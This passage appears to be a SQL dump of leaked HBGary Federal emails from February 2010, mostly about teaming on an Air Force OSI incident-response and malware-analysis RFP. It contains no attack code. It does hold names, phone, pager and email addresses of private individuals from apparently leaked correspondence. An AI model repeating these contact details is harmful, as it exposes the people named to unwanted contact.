(fax)\r\n\r\n(703) 365-4131 (pager)\r\n\r\n7033654131@airmessage.net (mobile\r\nemail)\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: James, Tami M (IS) \r\nSent: Thursday, January 28, 2010 2:08 PM\r\nTo: DL Information Systems IDIQ Distribution\r\nSubject: Alliant AF OSI RFP Guardian Requirement \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nContract: Alliant\r\n\r\nCustomer: Air Force\r\n\r\nTitle: Guardian\r\n\r\nType of Task Order: Cost Plus\r\nFixed Fee\r\n\r\nPlace of Performance: San Antonio, TX\r\n\r\nPeriod of Performance: One-Year\r\nBase Period plus one (1) option year\r\n\r\nIncumbent: Not\r\nidentified\r\n\r\nQuestions Due: 3:00 PM\r\nCST, 3 Feb 2010\r\n\r\nProposals Due: 12:00 PM\r\nCentral Time on 22 Feb 2010\r\n\r\nScope: This effort provides\r\ntechnical support to the Air Force Office of Special Investigations (AFOSI) and\r\nother law enforcement (LE) and counterintelligence (CI) organizations by\r\ndesigning and constructing cyber capabilities that can be used to counter the\r\nenemy&#8217;s use of the Internet.&nbsp; Additionally, this initiative will assist\r\nAir Force Network Defenders and AFOSI Computer Crime Investigators (CCIs) with\r\nthe detection, containment, and collection, analysis, and reverse engineering\r\nof malicious logic. 1 The contractor shall develop and enhance existing\r\ncomputer security technologies necessary to support LE/CI investigations and\r\noperations.\r\n\r\nTop Secret Security clearance required.\r\n\r\n&nbsp;\r\n\r\nNOTE:&nbsp; If you have any questions please\r\ncontact Susan Bethke (Susan.Bethke@ngc.com)\r\nand Tami James (Tami.James@ngc.com) \r\n\r\nPlease do not contact the customer or GSA regarding\r\nthis opportunity.&nbsp; All communications must be via the NG Alliant PMO.\r\n\r\n&nbsp;\r\n\r\nIf interested in responding, please\r\n&lt;Reply to All&gt; by 2:00PM EST, Jan 29, 2010\r\n\r\n&nbsp;\r\n\r\nThank you,\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nTami M. James\r\n\r\nIDIQ Project Assistant\r\n\r\nIDIQ Solutions Team\r\n\r\nNorthrop Grumman IT\r\n\r\n15010 Conference Center Dr.\r\n\r\nChantilly, VA 20151\r\n\r\nTel: 703-336-9134\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1997,'aaron_hbgary_com/1997.html'),(1931,'2010-02-03','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297000720.M256797P3547Q1931.eml','\"Aaron Barr\" <aaron@hbgary.com>','Foundstone Incident First Responder Kit','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nPenny wanted me to send this to you.&nbsp; Hope you enjoy!\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2890,'aaron_hbgary_com/2890.html'),(1932,'2010-02-03','\"Johna Copeland\" <jerseygirlc4real@aol.com>','/aaron@hbgary.com/new/1297000720.M811194P3547Q1932.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            Johna Copeland has indicated you are a Colleague at Northrop Grumman:\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.\r\n\r\n- Johna Copeland\r\n  \r\n  \r\n  &nbsp;\r\n   \r\n  \r\n    \r\n        \r\n          Accept\r\n        \r\n         \r\n              View invitation from Johna Copeland\r\n        \r\n    \r\n  \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  WHY MIGHT CONNECTING WITH JOHNA COPELAND BE A GOOD IDEA?\r\n  Johna Copeland\'s connections could be useful to you After accepting Johna Copeland\'s invitation, check Johna Copeland\'s connections to see who else you may know and who you might want an introduction to. Building these connections can create opportunities in the future.\r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',3352,'aaron_hbgary_com/3352.html'),(1933,'2010-02-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000721.M406019P3547Q1933.eml','\"Gutierrez, Daniel L (TASC Inc)\" <daniel.gutierrez@tasc.com>,\"Gutierrez, Daniel L (TASC Inc)\" <daniel.gutierrez@tasc.com>','Re: Alliant AF OSI RFP Guardian Requirement','We are very interested, and very capable.  Let us know what we can do.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 2, 2010, at 5:12 PM, \"Gutierrez, Daniel L (TASC Inc)\"\r\n wrote:\r\n\r\n>\r\n> ________________________________\r\n>\r\n> From: Henderson, Van B (TASC Inc)\r\n> To: Gutierrez, Daniel L (TASC Inc)\r\n> Sent: Thu Jan 28 14:08:55 2010\r\n> Subject: FW: Alliant AF OSI RFP Guardian Requirement\r\n>\r\n>\r\n>\r\n> If interested, I suspect the big question will be how do we get onto\r\n> Alliant, given TASC does not hold that contract vehicle.\r\n>\r\n>\r\n>\r\n> Let me know if interested………    I still get this info from NG\r\n> until they figure out not to send to me.\r\n>\r\n>\r\n>\r\n> Van\r\n>\r\n>\r\n>\r\n> Van Henderson\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> TASC, Inc\r\n>\r\n> Director, Business Development\r\n>\r\n> 4807 Stonecroft Boulevard\r\n>\r\n> Chantilly, VA 20151\r\n>\r\n> (703) 449-3996 (voice)\r\n>\r\n> (703) 961-1781 (fax)\r\n>\r\n> (703) 365-4131 (pager)\r\n>\r\n> 7033654131@airmessage.net (mobile email)\r\n>\r\n>\r\n>\r\n> From: James, Tami M (IS)\r\n> Sent: Thursday, January 28, 2010 2:08 PM\r\n> To: DL Information Systems IDIQ Distribution\r\n> Subject: Alliant AF OSI RFP Guardian Requirement\r\n>\r\n>\r\n>\r\n> Contract: Alliant\r\n>\r\n> Customer: Air Force\r\n>\r\n> Title: Guardian\r\n>\r\n> Type of Task Order: Cost Plus Fixed Fee\r\n>\r\n> Place of Performance: San Antonio, TX\r\n>\r\n> Period of Performance: One-Year Base Period plus one (1) option year\r\n>\r\n> Incumbent: Not identified\r\n>\r\n> Questions Due: 3:00 PM CST, 3 Feb 2010\r\n>\r\n> Proposals Due: 12:00 PM Central Time on 22 Feb 2010\r\n>\r\n> Scope: This effort provides technical support to the Air Force\r\n> Office of Special Investigations (AFOSI) and other law enforcement\r\n> (LE) and counterintelligence (CI) organizations by designing and\r\n> constructing cyber capabilities that can be used to counter the enem\r\n> y’s use of the Internet.  Additionally, this initiative will assist\r\n> Air Force Network Defenders and AFOSI Computer Crime Investigators (\r\n> CCIs) with the detection, containment, and collection, analysis, and\r\n>  reverse engineering of malicious logic. 1 The contractor shall deve\r\n> lop and enhance existing computer security technologies necessary to\r\n>  support LE/CI investigations and operations.\r\n>\r\n> Top Secret Security clearance required.\r\n>\r\n>\r\n>\r\n> NOTE:  If you have any questions please contact Susan Bethke (Susan.Bethke@ngc.com\r\n> ) and Tami James (Tami.James@ngc.com)\r\n>\r\n> Please do not contact the customer or GSA regarding this\r\n> opportunity.  All communications must be via the NG Alliant PMO.\r\n>\r\n>\r\n>\r\n> If interested in responding, please  by 2:00PM EST,\r\n> Jan 29, 2010\r\n>\r\n>\r\n>\r\n> Thank you,\r\n>\r\n>\r\n>\r\n> Tami M. James\r\n>\r\n> IDIQ Project Assistant\r\n>\r\n> IDIQ Solutions Team  >\r\n>\r\n> Northrop Grumman IT\r\n>\r\n> 15010 Conference Center Dr.\r\n>\r\n> Chantilly, VA 20151\r\n>\r\n> Tel: 703-336-9134\r\n>\r\n>\r\n>\r\n> \r\n> \r\n> \r\n> \r\n> \r\n',7216,'aaron_hbgary_com/7216.html'),(1934,'2010-02-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000721.M610944P3547Q1934.eml','\"Ted Vera\" <ted@hbgary.com>','Look at the list...','Everyone but Northrop.\r\n\r\nThis is an easy one for us as well and can help to bolster our IR business.  We need to go after this hard also I think.\r\n\r\nSo going with TASC we would be a sub to TASC who is sub to MacB?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13860,'aaron_hbgary_com/13860.html'),(1935,'2010-02-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000721.M875811P3547Q1935.eml','\"Gutierrez, Daniel L (TASC Inc)\" <daniel.gutierrez@TASC.COM>','Re: Alliant AF OSI RFP Guardian Requirement','Why don\'t you have the contract? &nbsp;Tasc, Inc is specifically names not Northrop. &nbsp;Dude that is messed up if Northrop took this.AaronOn Feb 2, 2010, at 4:12 PM, Gutierrez, Daniel L (TASC Inc) wrote:From: Henderson, Van B (TASC Inc)&nbsp;To: Gutierrez, Daniel L (TASC Inc)&nbsp;Sent: Thu Jan 28 14:08:55 2010Subject: FW: Alliant AF OSI RFP Guardian Requirement&nbsp;If interested, I suspect the big question will be how do we get onto Alliant, given TASC does not hold that contract vehicle.&nbsp;Let me know if interested………&nbsp; &nbsp;&nbsp;I still get this info from NG until they figure out not to send to me.&nbsp;&nbsp;Van&nbsp;Van Henderson&nbsp;&lt;image001.png&gt;TASC, IncDirector, Business Development4807 Stonecroft BoulevardChantilly, VA 20151(703) 449-3996 (voice)(703) 961-1781 (fax)(703) 365-4131 (pager)7033654131@airmessage.net&nbsp;(mobile email)&nbsp;From:&nbsp;James, Tami M (IS)&nbsp;Sent:&nbsp;Thursday, January 28, 2010 2:08 PMTo:&nbsp;DL Information Systems IDIQ DistributionSubject:&nbsp;Alliant AF OSI RFP Guardian Requirement&nbsp;Contract:&nbsp;AlliantCustomer:&nbsp;Air ForceTitle:&nbsp;GuardianType of Task Order:&nbsp;Cost Plus Fixed FeePlace of Performance:&nbsp;San Antonio, TXPeriod of Performance:&nbsp;One-Year Base Period plus one (1) option yearIncumbent:&nbsp;Not identifiedQuestions Due:&nbsp;3:00 PM CST, 3 Feb 2010Proposals Due:&nbsp;12:00 PM Central Time on 22 Feb 2010Scope:&nbsp;This effort provides technical support to the Air Force Office of Special Investigations (AFOSI) and other law enforcement (LE) and counterintelligence (CI) organizations by designing and constructing cyber capabilities that can be used to counter the enemy’s use of the Internet.&nbsp; Additionally, this initiative will assist Air Force Network Defenders and AFOSI Computer Crime Investigators (CCIs) with the detection, containment, and collection, analysis, and reverse engineering of malicious logic. 1 The contractor shall develop and enhance existing computer security technologies necessary to support LE/CI investigations and operations.Top Secret Security clearance required.&nbsp;NOTE:&nbsp; If you have any questions please contact Susan Bethke (Susan.Bethke@ngc.com) and Tami James (Tami.James@ngc.com)Please do not contact the customer or GSA regarding this opportunity.&nbsp; All communications must be via the NG Alliant PMO.&nbsp;If interested in responding, please &lt;Reply to All&gt; by 2:00PM EST, Jan 29, 2010&nbsp;Thank you,&nbsp;Tami M. JamesIDIQ Project AssistantIDIQ Solutions TeamNorthrop Grumman IT15010 Conference Center Dr.Chantilly, VA 20151Tel: 703-336-9134&nbsp;&lt;RFP Letter.doc&gt;&lt;Guardian SOW 5 Jan 10.docx&gt;&lt;DD254.pdf&gt;&lt;CDRLS 1423.pdf&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16395,'aaron_hbgary_com/16395.html'),(1936,'2010-02-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000722.M140295P3547Q1936.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Look at the list...','Was there supposed to be an attachment?\r\n\r\n\r\n\r\nOn Feb 3, 2010, at 7:50 AM, Aaron Barr  wrote:\r\n\r\n> Everyone but Northrop.\r\n>\r\n> This is an easy one for us as well and can help to bolster our IR\r\n> business.  We need to go after this hard also I think.\r\n>\r\n> So going with TASC we would be a sub to TASC who is sub to MacB?\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',5125,'aaron_hbgary_com/5125.html'),(1937,'2010-02-03','\"Gutierrez, Daniel L (TASC Inc)\" <daniel.gutierrez@TASC.COM>','/aaron@hbgary.com/new/1297000722.M426469P3547Q1937.eml','aaron@hbgary.com','Re: Alliant AF OSI RFP Guardian Requirement','\r\nYou said it, pretty messed up, TASC only has one GSA contract and NG took Alliant even though it was a TASC led win\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Gutierrez, Daniel L (TASC Inc)Sent: Wed Feb 03 08:52:15 2010Subject: Re: Alliant AF OSI RFP Guardian Requirement\r\nWhy don\'t you have the contract? &nbsp;Tasc, Inc is specifically names not Northrop. &nbsp;Dude that is messed up if Northrop took this.AaronOn Feb 2, 2010, at 4:12 PM, Gutierrez, Daniel L (TASC Inc) wrote:From: Henderson, Van B (TASC Inc)&nbsp;To: Gutierrez, Daniel L (TASC Inc)&nbsp;Sent: Thu Jan 28 14:08:55 2010Subject: FW: Alliant AF OSI RFP Guardian Requirement&nbsp;If interested, I suspect the big question will be how do we get onto Alliant, given TASC does not hold that contract vehicle.&nbsp;Let me know if interested………&nbsp; &nbsp;&nbsp;I still get this info from NG until they figure out not to send to me.&nbsp;&nbsp;Van&nbsp;Van Henderson&nbsp;&lt;image001.png&gt;TASC, IncDirector, Business Development4807 Stonecroft BoulevardChantilly, VA 20151(703) 449-3996 (voice)(703) 961-1781 (fax)(703) 365-4131 (pager)7033654131@airmessage.net&nbsp;(mobile email)&nbsp;From:&nbsp;James, Tami M (IS)&nbsp;Sent:&nbsp;Thursday, January 28, 2010 2:08 PMTo:&nbsp;DL Information Systems IDIQ DistributionSubject:&nbsp;Alliant AF OSI RFP Guardian Requirement&nbsp;Contract:&nbsp;AlliantCustomer:&nbsp;Air ForceTitle:&nbsp;GuardianType of Task Order:&nbsp;Cost Plus Fixed FeePlace of Performance:&nbsp;San Antonio, TXPeriod of Performance:&nbsp;One-Year Base Period plus one (1) option yearIncumbent:&nbsp;Not identifiedQuestions Due:&nbsp;3:00 PM CST, 3 Feb 2010Proposals Due:&nbsp;12:00 PM Central Time on 22 Feb 2010Scope:&nbsp;This effort provides technical support to the Air Force Office of Special Investigations (AFOSI) and other law enforcement (LE) and counterintelligence (CI) organizations by designing and constructing cyber capabilities that can be used to counter the enemy’s use of the Internet.&nbsp; Additionally, this initiative will assist Air Force Network Defenders and AFOSI Computer Crime Investigators (CCIs) with the detection, containment, and collection, analysis, and reverse engineering of malicious logic. 1 The contractor shall develop and enhance existing computer security technologies necessary to support LE/CI investigations and operations.Top Secret Security clearance required.&nbsp;NOTE:&nbsp; If you have any questions please contact Susan Bethke (Susan.Bethke@ngc.com) and Tami James (Tami.James@ngc.com)Please do not contact the customer or GSA regarding this opportunity.&nbsp; All communications must be via the NG Alliant PMO.&nbsp;If interested in responding, please &lt;Reply to All&gt; by 2:00PM EST, Jan 29, 2010&nbsp;Thank you,&nbsp;Tami M. JamesIDIQ Project AssistantIDIQ Solutions TeamNorthrop Grumman IT15010 Conference Center Dr.Chantilly, VA 20151Tel: 703-336-9134&nbsp;&lt;RFP Letter.doc&gt;&lt;Guardian SOW 5 Jan 10.docx&gt;&lt;DD254.pdf&gt;&lt;CDRLS 1423.pdf&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12104,'aaron_hbgary_com/12104.html'),(1938,'2010-02-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000733.M938534P3547Q1938.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,','Fwd: Alliant AF OSI RFP Guardian Requirement','Check out this RFP to deliver IR, Forensics, Malware analysis to the airforce.  TASC, Inc. wants us to provide the capability to go after this.  Ted and I will discuss today to see what we want to do.  The total list of companies that can prime this contract are listed here:\r\n\r\nhttp://www.google.com/search?client=safari&rls=en&q=Alliant+contract+award&ie=UTF-8&oe=UTF-8\r\n\r\nOn the list the only ones I know of that have a native capability in this area are Mantech and SRA, can you look at the list and tell me who I am missing.  We are looking to team with TASC/MacAulay-Brown.\r\n\r\nBetween this, the DARPA BAA and developing a more tactical IR service offering Ted and I will be busy.  For all of these we are going to need some writing assistance for content but Ted and I will do most of it.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Gutierrez, Daniel L (TASC Inc)\" \r\n> Date: February 2, 2010 4:12:47 PM PST\r\n> To: , \r\n> Subject: Fw: Alliant AF OSI RFP Guardian Requirement\r\n> \r\n> \r\n> From: Henderson, Van B (TASC Inc) \r\n> To: Gutierrez, Daniel L (TASC Inc) \r\n> Sent: Thu Jan 28 14:08:55 2010\r\n> Subject: FW: Alliant AF OSI RFP Guardian Requirement \r\n> \r\n> If interested, I suspect the big question will be how do we get onto Alliant, given TASC does not hold that contract vehicle.\r\n>  \r\n> Let me know if interested………    I still get this info from NG until they figure out not to send to me.\r\n>  \r\n>  Van\r\n>  \r\n> Van Henderson\r\n>  \r\n> \r\n> TASC, Inc\r\n> Director, Business Development\r\n> 4807 Stonecroft Boulevard\r\n> Chantilly, VA 20151\r\n> (703) 449-3996 (voice)\r\n> (703) 961-1781 (fax)\r\n> (703) 365-4131 (pager)\r\n> 7033654131@airmessage.net (mobile email)\r\n>  \r\n> From: James, Tami M (IS) \r\n> Sent: Thursday, January 28, 2010 2:08 PM\r\n> To: DL Information Systems IDIQ Distribution\r\n> Subject: Alliant AF OSI RFP Guardian Requirement\r\n>  \r\n> Contract: Alliant\r\n> Customer: Air Force\r\n> Title: Guardian\r\n> Type of Task Order: Cost Plus Fixed Fee\r\n> Place of Performance: San Antonio, TX\r\n> Period of Performance: One-Year Base Period plus one (1) option year\r\n> Incumbent: Not identified\r\n> Questions Due: 3:00 PM CST, 3 Feb 2010\r\n> Proposals Due: 12:00 PM Central Time on 22 Feb 2010\r\n> Scope: This effort provides technical support to the Air Force Office of Special Investigations (AFOSI) and other law enforcement (LE) and counterintelligence (CI) organizations by designing and constructing cyber capabilities that can be used to counter the enemy’s use of the Internet.  Additionally, this initiative will assist Air Force Network Defenders and AFOSI Computer Crime Investigators (CCIs) with the detection, containment, and collection, analysis, and reverse engineering of malicious logic. 1 The contractor shall develop and enhance existing computer security technologies necessary to support LE/CI investigations and operations.\r\n> Top Secret Security clearance required.\r\n>  \r\n> NOTE:  If you have any questions please contact Susan Bethke (Susan.Bethke@ngc.com) and Tami James (Tami.James@ngc.com)\r\n> Please do not contact the customer or GSA regarding this opportunity.  All communications must be via the NG Alliant PMO.\r\n>  \r\n> If interested in responding, please  by 2:00PM EST, Jan 29, 2010\r\n>  \r\n> Thank you,\r\n>  \r\n> Tami M. James\r\n> IDIQ Project Assistant\r\n> IDIQ Solutions Team\r\n> Northrop Grumman IT\r\n> 15010 Conference Center Dr.\r\n> Chantilly, VA 20151\r\n> Tel: 703-336-9134\r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9688,'aaron_hbgary_com/9688.html'),(1939,'2010-02-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000735.M283859P3547Q1939.eml','\"Gutierrez, Daniel L (TASC Inc)\" <daniel.gutierrez@TASC.COM>','Re: Alliant AF OSI RFP Guardian Requirement','ok well we are game and based on the SOW we have some real discriminators.AaronOn Feb 3, 2010, at 7:00 AM, Gutierrez, Daniel L (TASC Inc) wrote:\r\nYou said it, pretty messed up, TASC only has one GSA contract and NG took Alliant even though it was a TASC led win\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Gutierrez, Daniel L (TASC Inc)\r\nSent: Wed Feb 03 08:52:15 2010Subject: Re: Alliant AF OSI RFP Guardian Requirement\r\n\r\nWhy don\'t you have the contract? &nbsp;Tasc, Inc is specifically names not Northrop. &nbsp;Dude that is messed up if Northrop took this.AaronOn Feb 2, 2010, at 4:12 PM, Gutierrez, Daniel L (TASC Inc) wrote:From: Henderson, Van B (TASC Inc)&nbsp;To: Gutierrez, Daniel L (TASC Inc)&nbsp;Sent: Thu Jan 28 14:08:55 2010Subject: FW: Alliant AF OSI RFP Guardian Requirement&nbsp;If interested, I suspect the big question will be how do we get onto Alliant, given TASC does not hold that contract vehicle.&nbsp;Let me know if interested………&nbsp; &nbsp;&nbsp;I still get this info from NG until they figure out not to send to me.&nbsp;&nbsp;Van&nbsp;Van Henderson&nbsp;&lt;image001.png&gt;TASC, IncDirector, Business Development4807 Stonecroft BoulevardChantilly, VA 20151(703) 449-3996 (voice)(703) 961-1781 (fax)(703) 365-4131 (pager)7033654131@airmessage.net&nbsp;(mobile email)&nbsp;From:&nbsp;James, Tami M (IS)&nbsp;Sent:&nbsp;Thursday, January 28, 2010 2:08 PMTo:&nbsp;DL Information Systems IDIQ DistributionSubject:&nbsp;Alliant AF OSI RFP Guardian Requirement&nbsp;Contract:&nbsp;AlliantCustomer:&nbsp;Air ForceTitle:&nbsp;GuardianType of Task Order:&nbsp;Cost Plus Fixed FeePlace of Performance:&nbsp;San Antonio, TXPeriod of Performance:&nbsp;One-Year Base Period plus one (1) option yearIncumbent:&nbsp;Not identifiedQuestions Due:&nbsp;3:00 PM CST, 3 Feb 2010Proposals Due:&nbsp;12:00 PM Central Time on 22 Feb 2010Scope:&nbsp;This effort provides technical support to the Air Force Office of Special Investigations (AFOSI) and other law enforcement (LE) and counterintelligence (CI) organizations by designing and constructing cyber capabilities that can be used to counter the enemy’s use of the Internet.&nbsp; Additionally, this initiative will assist Air Force Network Defenders and AFOSI Computer Crime Investigators (CCIs) with the detection, containment, and collection, analysis, and reverse engineering of malicious logic. 1 The contractor shall develop and enhance existing computer security technologies necessary to support LE/CI investigations and operations.Top Secret Security clearance required.&nbsp;NOTE:&nbsp; If you have any questions please contact Susan Bethke (Susan.Bethke@ngc.com) and Tami James (Tami.James@ngc.com)Please do not contact the customer or GSA regarding this opportunity.&nbsp; All communications must be via the NG Alliant PMO.&nbsp;If interested in responding, please &lt;Reply to All&gt; by 2:00PM EST, Jan 29, 2010&nbsp;Thank you,&nbsp;Tami M. JamesIDIQ Project AssistantIDIQ Solutions TeamNorthrop Grumman IT15010 Conference Center Dr.Chantilly, VA 20151Tel: 703-336-9134&nbsp;&lt;RFP Letter.doc&gt;&lt;Guardian SOW 5 Jan 10.docx&gt;&lt;DD254.pdf&gt;&lt;CDRLS 1423.pdf&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8237,'aaron_hbgary_com/8237.html'),(1940,'2010-02-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000738.M928841P3547Q1940.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,','Statement of work for AF OSI RFP','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9092,'aaron_hbgary_com/9092.html'),(1941,'2010-02-03','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000739.M234158P3547Q1941.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Statement of work for AF OSI RFP','Aaron,\r\n \r\nI was able to unzip the attachment but it is an unknown file type so I couldn&#39;t read it.\r\n \r\nBob\r\nOn Wed, Feb 3, 2010 at 10:05 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nAaron BarrCEOHBGary Federal Inc.\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',7648,'aaron_hbgary_com/7648.html'),(1942,'2010-02-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000739.M421536P3547Q1942.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Statement of work for AF OSI RFP','Dammit.  Word can&#39;t open iWork.  Can u resend sow to bob, rich, phil, Greg, penny.From my iPhoneBegin forwarded message:\r\nFrom: Bob Slapnik &lt;bob@hbgary.com&gt;Date: February 3, 2010 8:12:10 AM MSTTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: Re: Statement of work for AF OSI RFPAaron,\r\n \r\nI was able to unzip the attachment but it is an unknown file type so I couldn&#39;t read it.\r\n \r\nBob\r\nOn Wed, Feb 3, 2010 at 10:05 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n',6900,'aaron_hbgary_com/6900.html'),(1943,'2010-02-03','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000739.M633168P3547Q1943.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,','Re: Alliant AF OSI RFP Guardian Requirement','All,\r\n \r\nHBGary needs to watch ManTech as a competitor.  They have a long successful history of doing r/e of malware and vuln analysis and have developed tools. Jesse Kornblum is a noted physical memory analysis expert and has developed many tools.  A ManTech biz dev guy told me the CEO of ManTech wants to offer commercial s/w in these arenas and would be a direct competitor.  Whenever ManTech shows up as a prospect we need to be extremely careful in that they may actually be milking us for info.\r\n\r\n \r\nBob\r\nOn Wed, Feb 3, 2010 at 10:03 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nCheck out this RFP to deliver IR, Forensics, Malware analysis to the airforce.  TASC, Inc. wants us to provide the capability to go after this.  Ted and I will discuss today to see what we want to do.  The total list of companies that can prime this contract are listed here: \r\n\r\nhttp://www.google.com/search?client=safari&amp;rls=en&amp;q=Alliant+contract+award&amp;ie=UTF-8&amp;oe=UTF-8\r\n\r\n\r\nOn the list the only ones I know of that have a native capability in this area are Mantech and SRA, can you look at the list and tell me who I am missing.  We are looking to team with TASC/MacAulay-Brown.\r\n\r\nBetween this, the DARPA BAA and developing a more tactical IR service offering Ted and I will be busy.  For all of these we are going to need some writing assistance for content but Ted and I will do most of it.\r\n\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\nFrom: &quot;Gutierrez, Daniel L (TASC Inc)&quot; &lt;daniel.gutierrez@TASC.COM&gt;\r\n\r\nDate: February 2, 2010 4:12:47 PM PST\r\n\r\nTo: &lt;aaron@hbgary.com&gt;, &lt;ted@hbgary.com&gt;\r\n\r\nSubject: Fw: Alliant AF OSI RFP Guardian Requirement\r\n\r\n\r\n\r\nFrom: Henderson, Van B (TASC Inc) To: Gutierrez, Daniel L (TASC Inc) Sent: Thu Jan 28 14:08:55 2010Subject: FW: Alliant AF OSI RFP Guardian Requirement \r\n\r\n\r\nIf interested, I suspect the big question will be how do we get onto Alliant, given TASC does not hold that contract vehicle.\r\n\r\n \r\nLet me know if interested………    I still get this info from NG until they figure out not to send to me.\r\n\r\n \r\n Van\r\n \r\n\r\nVan Henderson\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTASC, Inc\r\n\r\nDirector, Business Development\r\n4807 Stonecroft Boulevard\r\n\r\nChantilly, VA 20151\r\n(703) 449-3996 (voice)\r\n(703) 961-1781 (fax)\r\n(703) 365-4131 (pager)\r\n7033654131@airmessage.net (mobile email)\r\n\r\n \r\n\r\n\r\nFrom: James, Tami M (IS) \r\nSent: Thursday, January 28, 2010 2:08 PMTo: DL Information Systems IDIQ DistributionSubject: Alliant AF OSI RFP Guardian Requirement\r\n\r\n \r\nContract: Alliant\r\n\r\nCustomer: Air Force\r\n\r\nTitle: Guardian\r\n\r\nType of Task Order: Cost Plus Fixed Fee\r\n\r\nPlace of Performance: San Antonio, TX\r\n\r\nPeriod of Performance: One-Year Base Period plus one (1) option year\r\n\r\nIncumbent: Not identified\r\n\r\nQuestions Due: 3:00 PM CST, 3 Feb 2010\r\n\r\nProposals Due: 12:00 PM Central Time on 22 Feb 2010\r\n\r\nScope: This effort provides technical support to the Air Force Office of Special Investigations (AFOSI) and other law enforcement (LE) and counterintelligence (CI) organizations by designing and constructing cyber capabilities that can be used to counter the enemy’s use of the Internet.  Additionally, this initiative will assist Air Force Network Defenders and AFOSI Computer Crime Investigators (CCIs) with the detection, containment, and collection, analysis, and reverse engineering of malicious logic. 1 The contractor shall develop and enhance existing computer security technologies necessary to support LE/CI investigations and operations.\r\n\r\nTop Secret Security clearance required.\r\n \r\nNOTE:  If you have any questions please contact Susan Bethke (Susan.Bethke@ngc.com) and Tami James (Tami.James@ngc.com)\r\n\r\nPlease do not contact the customer or GSA regarding this opportunity.  All communications must be via the NG Alliant PMO.\r\n\r\n \r\nIf interested in responding, please &lt;Reply to All&gt; by 2:00PM EST, Jan 29, 2010\r\n\r\n \r\nThank you,\r\n \r\n\r\nTami M. James\r\nIDIQ Project Assistant\r\nIDIQ Solutions Team\r\n\r\nNorthrop Grumman IT\r\n15010 Conference Center Dr.\r\nChantilly, VA 20151\r\nTel: 703-336-9134\r\n 